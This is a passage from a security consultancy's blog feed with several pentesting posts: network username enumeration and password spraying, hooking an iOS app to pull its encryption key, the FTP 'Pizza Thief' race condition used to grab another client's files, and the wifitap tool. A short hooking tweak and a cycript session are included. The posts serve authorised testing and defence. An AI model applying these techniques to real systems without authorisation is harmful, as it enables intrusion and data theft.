&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32916009.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/5/8/writing-an-xss-worm.html</feedburner:origLink></item><item><title>Network Testing 101: If Your Name's Not Down, You're Not Getting In</title><category>101</category><category>CHECK</category><category>General Security</category><category>Infrastructure Security</category><category>network</category><category>pentesting</category><dc:creator>Alex Bayly</dc:creator><pubDate>Tue, 26 Mar 2013 14:09:44 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/jz39RAjTsCg/network-testing-101-if-your-names-not-down-youre-not-getting.html</link><guid isPermaLink="false">936190:11268292:32902234</guid><description>&lt;p&gt;Looking at the basics of network testing, user enumeration is critical. If we can get usernames, access is only a hop skip and a jump away. Well, perhaps only a decent dictionary brute-force away.&lt;br /&gt;&lt;br /&gt;The thing is how do we get these usernames? A few basic network pentesting tricks are listed here. Also, as a lot of user names are predictable combinations (such as a combination of first and last names, and initials) it can be fun to find amusing user names on a network.&lt;/p&gt;
&lt;h3&gt;Simple User Name Enumeration&lt;/h3&gt;
&lt;p&gt;Time to start with some of the simple stuff, SNMP (Simple Network Management Protocol). Some interesting MIBs (Management Information Base) that result in user enumeration are:&lt;br /&gt;&lt;br /&gt;Solaris&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PROCESS USERNAMES 1.3.6.1.4.1.42.3.12.1.1.8 *&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;*nix in general&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MOUNTPOINTS 1.3.6.1.2.1.25.2.3.1.3&lt;/li&gt;
&lt;li&gt;RUNNING SOFTWARE PATHS 1.3.6.1.2.1.25.4.2.1.4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Windows&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows&amp;nbsp;&amp;nbsp; &amp;nbsp;INSTALLED SOFTWARE&amp;nbsp;&amp;nbsp; &amp;nbsp;1.3.6.1.2.1.25.6.3.1.2&lt;/li&gt;
&lt;li&gt;Windows&amp;nbsp;&amp;nbsp; &amp;nbsp;USERS&amp;nbsp;&amp;nbsp; &amp;nbsp; 1.3.6.1.4.1.77.1.2.25&lt;/li&gt;
&lt;li&gt;Windows&amp;nbsp;&amp;nbsp; &amp;nbsp;SHARES&amp;nbsp;&amp;nbsp; &amp;nbsp; 1.3.6.1.4.1.77.1.2.27&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The MIBs listed above give away usernames. Some are obvious. The ones that are less obvious are RUNNING SOFTWARE PATHS and (in Windows) INSTALLED SOFTWARE these may disclose information in the path names as shown below:&lt;br /&gt;&lt;br /&gt;.1.3.6.1.2.1.25.4.2.1.4.739 = STRING: &amp;#8220;/usr/bin/login&amp;#8221;&lt;br /&gt;.1.3.6.1.2.1.25.4.2.1.4.740 = STRING: &amp;#8220;/bin/bash&amp;#8221;&lt;br /&gt;.1.3.6.1.2.1.25.4.2.1.4.749 = STRING: &amp;#8220;/home/auser/tail&amp;#8221;&lt;br /&gt;&lt;br /&gt;As we can see, the user name &lt;strong&gt;auser&lt;/strong&gt; is disclosed if the full path of the running binary is used. Remember this works only if the user has used the full path to run the process. &lt;br /&gt;&lt;br /&gt;The snmpwalk tool is a good place to start for enumerating SNMP data out of a host. There is also the small matter of the community string you&amp;#8217;ll also need, however in many cases you can go with the defaults and get information back. Changing these from the default is often overlooked when SNMP is enabled on servers.&lt;/p&gt;
&lt;h3&gt;Print My User Name&lt;/h3&gt;
&lt;p&gt;Web and telnet interfaces&amp;nbsp;on printers are often unauthenticated, unencrypted or use default or weak passwords. It is often possible to connect to these repositories of information leakage and grab document names, share locations, and most importantly user names.&lt;br /&gt;&lt;br /&gt;As a lot of printers have no lockout controls, even if admin account passwords have been changed you can often brute force passwords on these safely. If we can gain admin access to the printer, there may be other interesting options available as well. In one case, we came across an option to fax a copy of every document printed to a number of our choice.&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;Old Problems Never Die&lt;/h3&gt;
&lt;p&gt;Username enumeration on a Windows domain can be easy or a pain. On a box that accepts null connections we win. We can get the users and also the password policy, shares etc, and tools like enum and enum4linux still have a valuable place in the tool kit. But in a modern Windows AD domain don&amp;#8217;t forget the use of LDAP. If it is possible to use null binds via LDAP, tools like ldapenum.pl, ldp.exe and nmap (&amp;#8212;script ldap-search) are a good starting point to give you that user list. However, if you don&amp;#8217;t have null shares or anonymous bind then you may need to make authenticated connections to the domain to get the same data. This means that one bad password on the network is a foothold to accessing the rest of the domain.&lt;/p&gt;
&lt;h3&gt;Research, Research, Research&lt;/h3&gt;
&lt;p&gt;In a lot of Exchange environments the user&amp;#8217;s email address will contain their username. Robert Smith, for example, is rsmith@pentestcompany.com - it&amp;#8217;s likely that &amp;#8220;rsmith&amp;#8221; is his login. But do remember that with common names this may not be the case. &amp;nbsp;A lot of this kind of data can be gathered from company web pages or Intranet sites&amp;#8230;. or even bouncing a couple of emails into the organisation can work for this. If the company has an internal anonymously accessible wiki this can be a nice resource as well.&lt;/p&gt;
&lt;h3&gt;Listen, Did You Smell That?&lt;/h3&gt;
&lt;p&gt;Sniffing network traffic can also help out with delivering those user names. You may even get those passwords you&amp;#8217;re looking for - never discount the amount of clear text protocols that are still in use. Also many companies will use TLS/SSL on their public web sites, but not encrypt internally.&lt;/p&gt;
&lt;h3&gt;I Never Metadata I Didn&amp;#8217;t Like&lt;/h3&gt;
&lt;p&gt;In Office documents the metadata will contain, amongst other things, the name of the user who created that document. If we know the schema, this can give you the username. Also if the company writes Silverlight or .NET applications, then decompilation can give you pathnames, again with valid usernames.&lt;/p&gt;
&lt;h3&gt;Now Pay Attention 007&lt;/h3&gt;
&lt;p&gt;There is a reason to wear headphones with no music playing. If you are sitting onsite amongst IT Staff or developers you may hear the phrase: &amp;#8220;What user should I log on as?&amp;#8221; around you. If you are lucky they may even shout out passwords. Also there is the old tried and true method of just asking. Some call it social engineering but that&amp;#8217;s a topic for another post.&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;Sharing Your Toys&lt;/h3&gt;
&lt;p&gt;So you find a file share. Now there are lots of awesome things you can do: SMB relay attacks, trojan documents, DLL injection (if some one is dumb enough to share the wrong thing). But one of the other things you can do when a domain user visits the share is have a file there that points back to us. This could be an image in the document, a second embedded document in our Excel sheet (that we host), or a malicious shortcut file with an icon on our machine. When they access this, a bit of metasploit SMB sniffing and we can get the username as well as NTHASH and (if they are using it) the LMHASH.&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;Guess Who - Are You &amp;#8220;bin&amp;#8221;?&lt;/h3&gt;
&lt;p&gt;On smtp, ftp, and ssh there have been ways to brute force out usernames. This is ok, but is really dependant on the list of usernames you start with. In the spirit of recycling, never throw anything away - every time you gather a name, put it in a file. Next time you have a chance to brute-force out names on an SMTP server via RCPT EXPN and VRFY you will have a good starting point.&lt;/p&gt;
&lt;h3&gt;Go Wide!&lt;/h3&gt;
&lt;p&gt;So you&amp;#8217;ve got your big list of users? Now we take a big dictionary and hit go! - lock out the accounts and get asked to leave OR perhaps there is a better way? Time to chose a common password and wide-band it across all the accounts. A usual rule is to assume they lock the accounts after 3 failed attempts. So we could choose 2 candidate passwords and try those. If you haven&amp;#8217;t found anything at all about the password policy before this stage, now would be a good time to do it. When we know what we can risk, we can make the call and do some brute forcing.&amp;nbsp; For me, Medusa is my brute forcer of choice. A nice feature is that Medusa that will let you look for &amp;#8220;Joe Logins&amp;#8221; as well as blank passwords. The nice thing about this one is the tool is modular and supports a large list of protocols. So now from a big list of users we send out 2 passwords per user per hour/day/week. Eventually we get a hit. Next we can use this authenticated access to get more user names and start the brute force loop again. Voila!&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=jz39RAjTsCg:yg6VCUQuNPM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=jz39RAjTsCg:yg6VCUQuNPM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=jz39RAjTsCg:yg6VCUQuNPM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=jz39RAjTsCg:yg6VCUQuNPM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32902234.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/3/26/network-testing-101-if-your-names-not-down-youre-not-getting.html</feedburner:origLink></item><item><title>Retrieving Crypto Keys via iOS Runtime Hooking</title><category>Application Security</category><category>Crypto</category><category>Mobile Security</category><category>ios</category><category>mobile security</category><dc:creator>Ron Gutierrez</dc:creator><pubDate>Tue, 05 Mar 2013 13:45:06 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/l0QF54_iBpo/retrieving-crypto-keys-via-ios-runtime-hooking.html</link><guid isPermaLink="false">936190:11268292:32902935</guid><description>&lt;p&gt;I am going to walk you through a testing technique that can be used at runtime to uncover security flaws in an iOS application when source code is not available, and without having to dive too deeply into assembly. I am going to use a recent example of an iOS application I reviewed, which performed its own encryption when storing data onto the device. These types of applications are a lot of fun to look at due to the variety of insecure ways people implement their own crypto. In this example the application required authentication, and then pulled down some data and stored it encrypted on the device for caching. The data was presented to the user where they could &amp;ldquo;act&amp;rdquo; upon it. Sounds pretty generic, but hopefully the scenario is familiar enough to those who assess mobile apps.&lt;/p&gt;
&lt;p&gt;Upon analyzing the application traffic, it was obvious that no crypto keys were being returned from the server. After sweeping the iOS Keychain and the entire Application container, I could make the educated assumption that the key is either a hardcoded value or derived using device specific information.&lt;/p&gt;
&lt;p&gt;Using the Hopper Disassembler (Available on the Mac App Store), I was able to see that the application was leveraging the Common Crypto library for its encryption. I checked the cross-references for calls to the &lt;strong&gt;CCCryptorCreate&lt;/strong&gt; function in order find the code areas which perform encryption. The following screenshot shows &lt;strong&gt;getSymmetricKeyBytes&lt;/strong&gt; being called right before the &lt;strong&gt;CCCryptorCreate&lt;/strong&gt; function. I felt pretty confident that the purpose of the &lt;strong&gt;getSymmetricKeyBytes&lt;/strong&gt; method was going to be to return the symmetric key used for encryption.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img style="width: 490px;" src="http://blog.gdssecurity.com/storage/post-images/Screen%20Shot%202013-02-13%20at%207.36.18%20PM.png?__SQUARESPACE_CACHEVERSION=1362495910065" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I decided to create a &lt;a href="http://iphonedevwiki.net/index.php/MobileSubstrate"&gt;Mobile Substrate&lt;/a&gt;&amp;nbsp;tweak in order to hook into &lt;strong&gt;getSymmetricKeyBytes&lt;/strong&gt; and read the return value. I used the &lt;a href="https://code.google.com/p/networkpx/downloads/detail?name=class-dump-z"&gt;class-dump-z&lt;/a&gt;&amp;nbsp;tool to get a listing of all the exposed Objective-C interfaces. From here it is easy to get more detailed information about the method, such as the class name, return type and any required parameters. The following is a short snippet retrieved from the class-dump-z results.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;@interface SecKeyWrapper : XXUnknownSuperclass {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSData* publicTag;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSData* privateTag;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSData* symmetricTag;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; unsigned typeOfSymmetricOpts;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SecKey* publicKeyRef;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SecKey* privateKeyRef;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSData* symmetricKeyRef;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;[..snip..]&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;-(id)getSymmetricKeyBytes;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;-(id)doCipher:(id)cipher key:(id)key context:(unsigned)context padding:(unsigned*)padding;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;[..snip..]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can quickly create a tweak by using the &lt;a href="http://iphonedevwiki.net/index.php/Theos"&gt;Theos framework&lt;/a&gt;. The tweak in this case looked as follows:&amp;nbsp;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;%hook SecKeyWrapper&lt;/p&gt;
&lt;p&gt;- (id)getSymmetricKeyBytes {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSLog(@&amp;#8221;HOOKED getSymmetricKey&amp;#8221;);&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; id theKey = %orig;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSLog(@&amp;#8221;KEY: %@&amp;#8221;, theKey);&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return theKey;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;%end&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;%ctor {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; NSLog(@&amp;#8221;SecKeyWrapper is created.&amp;#8221;);&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; %init;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It doesn&amp;rsquo;t do much more then read the return value of the original method call and write it out to the console. It was possible to confirm that a static key was being used by running the tweak on another iPad, and observing that the same symmetric key was returned. The next step was to decrypt the files. We could hook into the &lt;strong&gt;doCipher:key:context:padding&lt;/strong&gt; method and just print out the first parameter to get the plaintext data. That would work, but that wouldn&amp;rsquo;t be reproducible since the Tweak code would only execute when the &lt;strong&gt;doCipher:key:context:padding&lt;/strong&gt; method is actually run by the application. A quick Google search on the SecWrapper class turned up the following sample code from Apple.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://developer.apple.com/library/ios/#samplecode/CryptoExercise/Listings/Classes_SecKeyWrapper_m.html"&gt;http://developer.apple.com/library/ios/#samplecode/CryptoExercise/Listings/Classes_SecKeyWrapper_m.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;By leveraging the wrapper it was possible to create an offline script to decrypt the application contents.&lt;/p&gt;
&lt;p&gt;While looking at sample code I noticed two things. The app developer chose to change Apple&amp;rsquo;s implementation of the &lt;strong&gt;getSymmetricKeyBytes&lt;/strong&gt; method and return a static key. The other interesting discovery was bad practices in Apple&amp;rsquo;s sample code for the &lt;strong&gt;doCipher:key:context:padding&lt;/strong&gt; method.&amp;nbsp; The following code snippet shows that it will use a static IV of 16 bytes of 0x0&amp;rsquo;s.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;nbsp;// Initialization vector; dummy in this case 0&amp;#8217;s.&lt;/p&gt;
&lt;p&gt;uint8_t iv[kChosenCipherBlockSize];&lt;/p&gt;
&lt;p&gt;memset((void *) iv, 0x0, (size_t) sizeof(iv));&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;An alternative method to achieve the same result would be to use &lt;a href="http://iphonedevwiki.net/index.php/Cycript"&gt;cycript&lt;/a&gt;,&amp;nbsp;which provides a Javascript interpreter to hook run arbitrary objective-c code and also hook into iOS applications at runtime without having to go through the whole Mobile Substrate Tweak creation. The following example shows how cycript could be used to retrieve the symmetric crypto key.&amp;nbsp;&lt;/p&gt;
&lt;blockquote&gt;
&lt;div id="_mcePaste"&gt;rgutie01s-iPad:~ root# cycript -p 290&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div id="_mcePaste"&gt;cy# var sharedwrapper = [SecKeyWrapper sharedWrapper];&lt;/div&gt;
&lt;div id="_mcePaste"&gt;@&amp;#8221;&amp;lt;SecKeyWrapper: 0x183080&amp;gt;&amp;#8221;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div id="_mcePaste"&gt;cy# [sharedwrapper getSymmetricKeyBytes]&lt;/div&gt;
&lt;div id="_mcePaste"&gt;&lt;strong&gt;@&amp;#8221;&amp;lt;[Symmetric Key Value Omitted&amp;gt;&amp;#8221;&lt;/strong&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;To recap:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Runtime analysis can be leveraged to easily break custom encryption when source code is not available and without having to dive into assembly.&lt;/li&gt;
&lt;li&gt;Developers need to beware of using sample code downloaded from the web, especially crypto code as it&amp;rsquo;s really hard to get right (as shown by the sample from Apple).&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=l0QF54_iBpo:KgDOm-yW7hQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=l0QF54_iBpo:KgDOm-yW7hQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=l0QF54_iBpo:KgDOm-yW7hQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=l0QF54_iBpo:KgDOm-yW7hQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32902935.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/3/5/retrieving-crypto-keys-via-ios-runtime-hooking.html</feedburner:origLink></item><item><title>Exploiting the Pizza Thief</title><category>CHECK</category><category>FTP</category><category>Infrastructure Security</category><category>pentesting</category><dc:creator>Justin Clarke</dc:creator><pubDate>Tue, 26 Feb 2013 17:15:34 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/AxSKli8YVY4/exploiting-the-pizza-thief.html</link><guid isPermaLink="false">936190:11268292:32875052</guid><description>&lt;p&gt;&lt;p class="p1"&gt;A while back we came across an exploitation scenario with an FTP server that we were assessing that we thought was interesting enough to share - largely because its an issue that has been known about since 1999, but doesn&amp;#8217;t seem to be widely exploited - at least publicly.&lt;br /&gt;&lt;p class="p1"&gt;First its important to understand how FTP works when in passive mode, which is the most common configuration we come across in deployment nowadays. FTP uses two separate TCP connections to the FTP server - a command channel and a data channel. FTP commands are sent over the command channel, which is usually on port 21. The data channel is the connection that is used for a transfers of data, including directory listings or file downloads and uploads, and in passive mode this is another connection from the client to the FTP server on a port opened by the FTP server in order to send or receive the data.&lt;br /&gt;&lt;p class="p1"&gt;For example, this is how a sample passive FTP session might go, including the commands that will be issued to the FTP server in the background. Note the response to the PASV command, which supplies the IP address and port (in high/low byte order) for the client to connect to:&lt;br /&gt;&lt;pre&gt;&lt;p class="p3"&gt;220 foo.bar.com FTP server ready.&lt;p class="p3"&gt;Name: &lt;strong&gt;user&lt;/strong&gt;&lt;p class="p4"&gt;---&amp;gt; USER user&lt;p class="p3"&gt;331 Password required for user.&lt;p class="p3"&gt;Password: password&lt;p class="p4"&gt;---&amp;gt; PASS password&lt;p class="p3"&gt;230 User user logged in.&lt;p class="p4"&gt;---&amp;gt; SYST&lt;p class="p4"&gt;215 UNIX Type: L8&lt;p class="p3"&gt;Remote system type is UNIX.&lt;p class="p3"&gt;Using binary mode to transfer files.&lt;p class="p3"&gt;ftp&amp;gt; &lt;strong&gt;passive&lt;/strong&gt;&lt;p class="p3"&gt;Passive mode on.&lt;p class="p3"&gt;ftp&amp;gt; &lt;strong&gt;ls&lt;/strong&gt;&lt;p class="p4"&gt;---&amp;gt; PASV&lt;p class="p3"&gt;227 Entering Passive Mode (192,168,1,1,195,149).&lt;p class="p4"&gt;---&amp;gt; LIST&lt;p class="p3"&gt;150 Opening ASCII mode data connection for file list&lt;p class="p3"&gt;drwx------   3 user    users         104 Jul 27 01:45 my_files&lt;p class="p3"&gt;226 Transfer complete.&lt;p class="p3"&gt;ftp&amp;gt; &lt;strong&gt;quit&lt;/strong&gt;&lt;p class="p4"&gt;---&amp;gt; QUIT&lt;p class="p3"&gt;221 Goodbye.&lt;p class="p3"&gt; &lt;/pre&gt;&lt;br /&gt;&lt;p class="p1"&gt;Visually this will look something like the following:&lt;br /&gt;&lt;p class="p2"&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/post-images/PASV FTP.png?__SQUARESPACE_CACHEVERSION=1361899926021" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;p class="p1"&gt;Interestingly, looking at the RFC for FTP (&lt;a href="http://tools.ietf.org/html/rfc959"&gt;RFC959&lt;/a&gt;) shows that the two connections do not both have to come from the same client, which allows FTP to support some less common usage scenarios such as server to server transfers using a common client. For our purposes it raises the possibility that if we can hit the data port that is allocated on the FTP server at the right time, we will get the file transfer or directory listing that another client has requested, like follows:&lt;br /&gt;&lt;p class="p2"&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/post-images/Pizza Thief.png?__SQUARESPACE_CACHEVERSION=1361899778883" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;p class="p2"&gt; &lt;br /&gt;&lt;p class="p1"&gt;This race condition issue, as it turns out, has been known since 1999 as the &amp;#8220;Pizza Thief&amp;#8221; exploit (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0351"&gt;CVE-1999-0351&lt;/a&gt;), and turns out to be fairly easy to exploit in actual usage scenarios that we&amp;#8217;ve come across.&lt;br /&gt;&lt;p class="p1"&gt;In practice, guessing the port comes down to a combination of two factors - how much load the FTP server is under, and how randomly it allocates the data ports for downloads. If the port allocation is sequential (which is not uncommon) this is fairly trivial, however as enterprise FTP deployments commonly have a small fixed range of ports allowed through a firewall for passive FTP, this can also be practical to exploit in cases where the data port allocation is randomised (even aside from any weaknesses in just how random the allocation actually is).  If the server allows anonymous FTP, or you can obtain an account through other means, this just makes the job of predicting the data ports easier for you.&lt;br /&gt;&lt;p class="p1"&gt;We ended up exploiting this scenario by writing a quick Python script to brute-force connect to the range of ports the server we were looking at was using, and grabbed a number of documents the organisation was sharing with an international business partner.  Turns out FTP isn&amp;#8217;t so secure after all? ;)&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=AxSKli8YVY4:ogLYSXxj7CU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=AxSKli8YVY4:ogLYSXxj7CU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=AxSKli8YVY4:ogLYSXxj7CU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=AxSKli8YVY4:ogLYSXxj7CU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32875052.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/2/26/exploiting-the-pizza-thief.html</feedburner:origLink></item><item><title>Resurrecting Wifitap</title><category>Infrastructure Security</category><category>wifi 802.11 injection wifitap tools</category><dc:creator>Oliver Lavery</dc:creator><pubDate>Tue, 05 Feb 2013 17:24:07 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/lKj0LBKiDaQ/resurrecting-wifitap.html</link><guid isPermaLink="false">936190:11268292:32753422</guid><description>&lt;p&gt;Security technology and common sense are not always 100% compatible.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We recently encountered Cisco Wireless Client Isolation, a simple technology that prevents wireless clients from communicating with each other, used as a security control on an open wireless network. Handy sounding technology that, except for one small problem &amp;hellip; how do you prevent radio transceivers from communicating with each other?&lt;/p&gt;
&lt;p&gt;As the deployment didn&amp;#8217;t actually involve putting every wireless client into a Faraday cage and plugging them into Ethernet, we had to demonstrate why this setup was not exactly secure&amp;hellip;&lt;/p&gt;
&lt;p&gt;Which brings us to wifitap, a set of very clever tools by C&lt;em&gt;&amp;eacute;&lt;/em&gt;dric Blancher that bridges a Linux tun/tap device with a WiFi interface in monitor mode, and allows you to communicate directly with wireless clients &lt;em&gt;without associating with an Access Point (AP).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The way 802.11 is supposed to work, an AP mediates all communication on the network, which means that in theory technology like Cisco Client Isolation would work great:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/wifitap diagram.png?__SQUARESPACE_CACHEVERSION=1360085144885" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;However, in reality 802.11 is &amp;hellip; well &amp;hellip; &lt;em&gt;wireless&lt;/em&gt;. There&amp;#8217;s no way to dictate exactly who sends what to whom in a wireless network, notwithstanding carefully designed encryption or some highly directional antenna design. To exploit this, wifitap reads packets from victim to AP using a WiFi transceiver in monitor mode, and simply injects responses to those packets as if they came from the AP.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/wifitap diagram attack.png?__SQUARESPACE_CACHEVERSION=1360085221271" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Neat trick. Unfortunately wifitap hasn&amp;#8217;t been maintained in years, and even though it&amp;#8217;s included in Backtrack 5r3, it took a good bit of work to make it go. In the interest of being good open-source netizens, we&amp;#8217;re sharing an updated version that should work on modern distros over here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/gdssecurity/wifitap/"&gt;https://github.com/gdssecurity/wifitap/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We might even manage to keep it up to date.&lt;/p&gt;
&lt;p&gt;Lastly, you might be thinking: &amp;#8220;Sure, open and WEP networks are insecure, but WPA2 fixed all these issues, right?&amp;#8221;.&amp;nbsp;&lt;/p&gt;
